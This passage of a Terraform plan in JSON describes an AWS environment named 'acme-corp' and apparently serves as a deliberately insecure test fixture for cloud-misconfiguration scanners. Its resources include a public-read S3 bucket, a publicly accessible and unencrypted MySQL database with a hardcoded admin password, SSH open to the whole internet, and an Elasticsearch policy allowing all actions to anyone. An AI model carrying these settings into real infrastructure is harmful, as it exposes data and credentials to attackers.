\"managed\",\n          \"type\": \"aws_neptune_cluster_instance\",\n          \"name\": \"default\",\n          \"index\": 0,\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"apply_immediately\": true,\n            \"auto_minor_version_upgrade\": true,\n            \"engine\": \"neptune\",\n            \"instance_class\": \"db.t3.medium\",\n            \"neptune_parameter_group_name\": \"default.neptune1\",\n            \"port\": 8182,\n            \"promotion_tier\": 0,\n            \"publicly_accessible\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_snapshot.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_snapshot\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"db_cluster_snapshot_identifier\": \"resourcetestsnapshot1\",\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_network_interface.web-eni\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_network_interface\",\n          \"name\": \"web-eni\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": null,\n            \"private_ips\": [\n              \"172.16.10.100\"\n            ],\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-primary_network_interface\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_route.public_internet_gateway\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route\",\n          \"name\": \"public_internet_gateway\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"destination_cidr_block\": \"0.0.0.0/0\",\n            \"destination_ipv6_cidr_block\": null,\n            \"timeouts\": {\n              \"create\": \"5m\",\n              \"delete\": null\n            },\n            \"transit_gateway_id\": null,\n            \"vpc_peering_connection_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_route_table.web_rtb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table\",\n          \"name\": \"web_rtb\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-rtb\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"gateway_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"gateway_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.data\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"public-read\",\n            \"bucket\": \"123456789123-acme-corp-data\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-data\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.data_science\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data_science\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-data-science\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [\n              {\n                \"target_prefix\": \"log/\"\n              }\n            ],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": null,\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.financials\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"financials\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-financials\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-financials\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.flowbucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"flowbucket\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-flowlogs\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-flowlogs\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.logs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"logs\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"log-delivery-write\",\n            \"bucket\": \"123456789123-acme-corp-logs\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"apply_server_side_encryption_by_default\": [\n                      {\n                        \"sse_algorithm\": \"aws:kms\"\n                      }\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-logs\"\n            },\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.operations\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"operations\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-operations\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-operations\"\n            },\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket_object.data_object\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_object\",\n          \"name\": \"data_object\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"cache_control\": null,\n            \"content\": null,\n            \"content_base64\": null,\n            \"content_disposition\": null,\n            \"content_encoding\": null,\n            \"content_language\": null,\n            \"force_destroy\": false,\n            \"key\": \"customer-master.xlsx\",\n            \"metadata\": null,\n            \"object_lock_legal_hold_status\": null,\n            \"object_lock_mode\": null,\n            \"object_lock_retain_until_date\": null,\n            \"source\": \"resources/customer-master.xlsx\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-customer-master\"\n            },\n            \"website_redirect\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"description\": \"Managed by Terraform\",\n            \"name\": \"123456789123-acme-corp-rds-sg\",\n            \"name_prefix\": null,\n            \"revoke_rules_on_delete\": false,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-rds-sg\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group.web-node\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"web-node\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"description\": \"123456789123-acme-corp Security Group\",\n            \"egress\": [\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 0,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"-1\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 0\n              }\n            ],\n            \"ingress\": [\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 22,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"tcp\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 22\n              },\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 80,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"tcp\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 80\n              }\n            ],\n            \"name\": \"123456789123-acme-corp-sg\",\n            \"name_prefix\": null,\n            \"revoke_rules_on_delete\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group_rule.egress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"egress\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 2,\n          \"values\": {\n            \"cidr_blocks\": [\n              \"0.0.0.0/0\"\n            ],\n            \"description\": null,\n            \"from_port\": 0,\n            \"ipv6_cidr_blocks\": null,\n            \"prefix_list_ids\": null,\n            \"protocol\": \"-1\",\n            \"self\": false,\n            \"to_port\": 0,\n            \"type\": \"egress\"\n          }\n        },\n        {\n          \"address\": \"aws_security_group_rule.ingress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"ingress\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 2,\n          \"values\": {\n            \"cidr_blocks\": [\n              \"172.16.0.0/16\"\n            ],\n            \"description\": null,\n            \"from_port\": 3306,\n            \"ipv6_cidr_blocks\": null,\n            \"prefix_list_ids\": null,\n            \"protocol\": \"tcp\",\n            \"self\": false,\n            \"to_port\": 3306,\n            \"type\": \"ingress\"\n          }\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet1\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet1\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2a\",\n            \"cidr_block\": \"10.10.10.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-subnet\",\n              \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2b\",\n            \"cidr_block\": \"10.10.11.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-subnet2\",\n              \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2a\",\n            \"cidr_block\": \"172.16.10.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-subnet\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2b\",\n            \"cidr_block\": \"172.16.11.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-subnet2\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_volume_attachment.ebs_att\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_volume_attachment\",\n          \"name\": \"ebs_att\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"device_name\": \"/dev/sdh\",\n            \"force_detach\": null,\n            \"skip_destroy\": null\n          }\n        },\n        {\n          \"address\": \"aws_vpc.eks_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"eks_vpc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_generated_ipv6_cidr_block\": false,\n            \"cidr_block\": \"10.10.0.0/16\",\n            \"enable_dns_hostnames\": true,\n            \"enable_dns_support\": true,\n            \"instance_tenancy\": \"default\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-vpc\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_vpc.web_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"web_vpc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_generated_ipv6_cidr_block\": false,\n            \"cidr_block\": \"172.16.0.0/16\",\n            \"enable_dns_hostnames\": true,\n            \"enable_dns_support\": true,\n            \"instance_tenancy\": \"default\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-vpc\"\n            }\n          }\n        },\n        {\n          \"address\": \"null_resource.push_image\",\n          \"mode\": \"managed\",\n          \"type\": \"null_resource\",\n          \"name\": \"push_image\",\n          \"provider_name\": \"null\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"triggers\": null\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_db_instance.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_instance\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"allocated_storage\": 20,\n          \"allow_major_version_upgrade\": null,\n          \"apply_immediately\": true,\n          \"auto_minor_version_upgrade\": true,\n          \"backup_retention_period\": 0,\n          \"copy_tags_to_snapshot\": false,\n          \"db_subnet_group_name\": \"sg-123456789123-acme-corp\",\n          \"delete_automated_backups\": true,\n          \"deletion_protection\": null,\n          \"domain\": null,\n          \"domain_iam_role_name\": null,\n          \"enabled_cloudwatch_logs_exports\": null,\n          \"engine\": \"mysql\",\n          \"engine_version\": \"8.0\",\n          \"final_snapshot_identifier\": null,\n          \"iam_database_authentication_enabled\": null,\n          \"identifier\": \"rds-123456789123-acme-corp\",\n          \"instance_class\": \"db.t3.micro\",\n          \"iops\": null,\n          \"max_allocated_storage\": null,\n          \"monitoring_interval\": 0,\n          \"multi_az\": false,\n          \"name\": \"db1\",\n          \"option_group_name\": \"og-123456789123-acme-corp\",\n          \"parameter_group_name\": \"pg-123456789123-acme-corp\",\n          \"password\": \"Aa1234321Bb\",\n          \"performance_insights_enabled\": false,\n          \"publicly_accessible\": true,\n          \"replicate_source_db\": null,\n          \"s3_import\": [],\n          \"security_group_names\": null,\n          \"skip_final_snapshot\": true,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": false,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-rds\"\n          },\n          \"timeouts\": null,\n          \"username\": \"admin\"\n        },\n        \"after_unknown\": {\n          \"address\": true,\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"backup_window\": true,\n          \"ca_cert_identifier\": true,\n          \"character_set_name\": true,\n          \"endpoint\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"identifier_prefix\": true,\n          \"kms_key_id\": true,\n          \"license_model\": true,\n          \"maintenance_window\": true,\n          \"monitoring_role_arn\": true,\n          \"performance_insights_kms_key_id\": true,\n          \"performance_insights_retention_period\": true,\n          \"port\": true,\n          \"replicas\": true,\n          \"resource_id\": true,\n          \"s3_import\": [],\n          \"status\": true,\n          \"storage_type\": true,\n          \"tags\": {},\n          \"timezone\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_option_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_option_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"engine_name\": \"mysql\",\n          \"major_engine_version\": \"8.0\",\n          \"name\": \"og-123456789123-acme-corp\",\n          \"option\": [],\n          \"option_group_description\": \"Terraform OG\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-og\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"option\": [],\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_parameter_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_parameter_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Terraform PG\",\n          \"family\": \"mysql8.0\",\n          \"name\": \"pg-123456789123-acme-corp\",\n          \"parameter\": [\n            {\n              \"apply_method\": \"immediate\",\n              \"name\": \"character_set_client\",\n              \"value\": \"utf8\"\n            },\n            {\n              \"apply_method\": \"immediate\",\n              \"name\": \"character_set_server\",\n              \"value\": \"utf8\"\n            }\n          ],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-pg\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"parameter\": [\n            {},\n            {}\n          ],\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_subnet_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_subnet_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Terraform DB Subnet Group\",\n          \"name\": \"sg-123456789123-acme-corp\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"sg-123456789123-acme-corp\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"subnet_ids\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ebs_snapshot.example_snapshot\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_snapshot\",\n      \"name\": \"example_snapshot\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"123456789123-acme-corp-ebs-snapshot\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ebs-snapshot\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"data_encryption_key_id\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"owner_alias\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"volume_id\": true,\n          \"volume_size\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ebs_volume.web_host_storage\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_volume\",\n      \"name\": \"web_host_storage\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"availability_zone\": \"us-west-2a\",\n          \"multi_attach_enabled\": null,\n          \"outpost_arn\": null,\n          \"size\": 1,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ebs\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"iops\": true,\n          \"kms_key_id\": true,\n          \"snapshot_id\": true,\n          \"tags\": {},\n          \"type\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ecr_repository.repository\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ecr_repository\",\n      \"name\": \"repository\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"encryption_configuration\": [],\n          \"image_scanning_configuration\": [],\n          \"image_tag_mutability\": \"MUTABLE\",\n          \"name\": \"123456789123-acme-corp-repository\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-repository\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encryption_configuration\": [],\n          \"id\": true,\n          \"image_scanning_configuration\": [],\n          \"registry_id\": true,\n          \"repository_url\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_eks_cluster.eks_cluster\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_eks_cluster\",\n      \"name\": \"eks_cluster\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"enabled_cluster_log_types\": null,\n          \"encryption_config\": [],\n          \"name\": \"123456789123-acme-corp-eks\",\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_config\": [\n            {\n              \"endpoint_private_access\": true,\n              \"endpoint_public_access\": true,\n              \"security_group_ids\": null\n            }\n          ]\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"certificate_authority\": true,\n          \"created_at\": true,\n          \"encryption_config\": [],\n          \"endpoint\": true,\n          \"id\": true,\n          \"identity\": true,\n          \"platform_version\": true,\n          \"role_arn\": true,\n          \"status\": true,\n          \"version\": true,\n          \"vpc_config\": [\n            {\n              \"cluster_security_group_id\": true,\n              \"public_access_cidrs\": true,\n              \"subnet_ids\": true,\n              \"vpc_id\": true\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elasticsearch_domain\",\n      \"name\": \"monitoring-framework\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cluster_config\": [\n            {\n              \"dedicated_master_count\": null,\n              \"dedicated_master_enabled\": false,\n              \"dedicated_master_type\": null,\n              \"instance_count\": 1,\n              \"instance_type\": \"t2.small.elasticsearch\",\n              \"warm_count\": null,\n              \"warm_enabled\": null,\n              \"warm_type\": null,\n              \"zone_awareness_config\": [],\n              \"zone_awareness_enabled\": null\n            }\n          ],\n          \"cognito_options\": [],\n          \"domain_name\": \"tg-corp-es\",\n          \"ebs_options\": [\n            {\n              \"ebs_enabled\": true,\n              \"iops\": null,\n              \"volume_size\": 30\n            }\n          ],\n          \"elasticsearch_version\": \"2.3\",\n          \"log_publishing_options\": [],\n          \"snapshot_options\": [],\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_options\": []\n        },\n        \"after_unknown\": {\n          \"access_policies\": true,\n          \"advanced_options\": true,\n          \"advanced_security_options\": true,\n          \"arn\": true,\n          \"cluster_config\": [\n            {\n              \"zone_awareness_config\": []\n            }\n          ],\n          \"cognito_options\": [],\n          \"domain_endpoint_options\": true,\n          \"domain_id\": true,\n          \"ebs_options\": [\n            {\n              \"volume_type\": true\n            }\n          ],\n          \"encrypt_at_rest\": true,\n          \"endpoint\": true,\n          \"id\": true,\n          \"kibana_endpoint\": true,\n          \"log_publishing_options\": [],\n          \"node_to_node_encryption\": true,\n          \"snapshot_options\": [],\n          \"vpc_options\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elasticsearch_domain_policy\",\n      \"name\": \"monitoring-framework-policy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access_policies\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n          \"domain_name\": \"tg-corp-es\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elb.weblb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elb\",\n      \"name\": \"weblb\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access_logs\": [],\n          \"connection_draining\": true,\n          \"connection_draining_timeout\": 400,\n          \"cross_zone_load_balancing\": true,\n          \"health_check\": [\n            {\n              \"healthy_threshold\": 2,\n              \"interval\": 30,\n              \"target\": \"HTTP:8000/\",\n              \"timeout\": 3,\n              \"unhealthy_threshold\": 2\n            }\n          ],\n          \"idle_timeout\": 400,\n          \"listener\": [\n            {\n              \"instance_port\": 8000,\n              \"instance_protocol\": \"http\",\n              \"lb_port\": 80,\n              \"lb_protocol\": \"http\",\n              \"ssl_certificate_id\": \"\"\n            }\n          ],\n          \"name\": \"weblb-terraform-elb\",\n          \"name_prefix\": null,\n          \"tags\": {\n            \"Name\": \"foobar-terraform-elb\"\n          }\n        },\n        \"after_unknown\": {\n          \"access_logs\": [],\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"dns_name\": true,\n          \"health_check\": [\n            {}\n          ],\n          \"id\": true,\n          \"instances\": true,\n          \"internal\": true,\n          \"listener\": [\n            {}\n          ],\n          \"security_groups\": true,\n          \"source_security_group\": true,\n          \"source_security_group_id\": true,\n          \"subnets\": true,\n          \"tags\": {},\n          \"zone_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_flow_log.vpcflowlogs\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_flow_log\",\n      \"name\": \"vpcflowlogs\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"eni_id\": null,\n          \"iam_role_arn\": null,\n          \"log_destination_type\": \"s3\",\n          \"max_aggregation_interval\": 600,\n          \"subnet_id\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-flowlogs\"\n          },\n          \"traffic_type\": \"ALL\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"log_destination\": true,\n          \"log_format\": true,\n          \"log_group_name\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_access_key.user\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_access_key\",\n      \"name\": \"user\",\n      \"provider_name\": \"aws\",\n      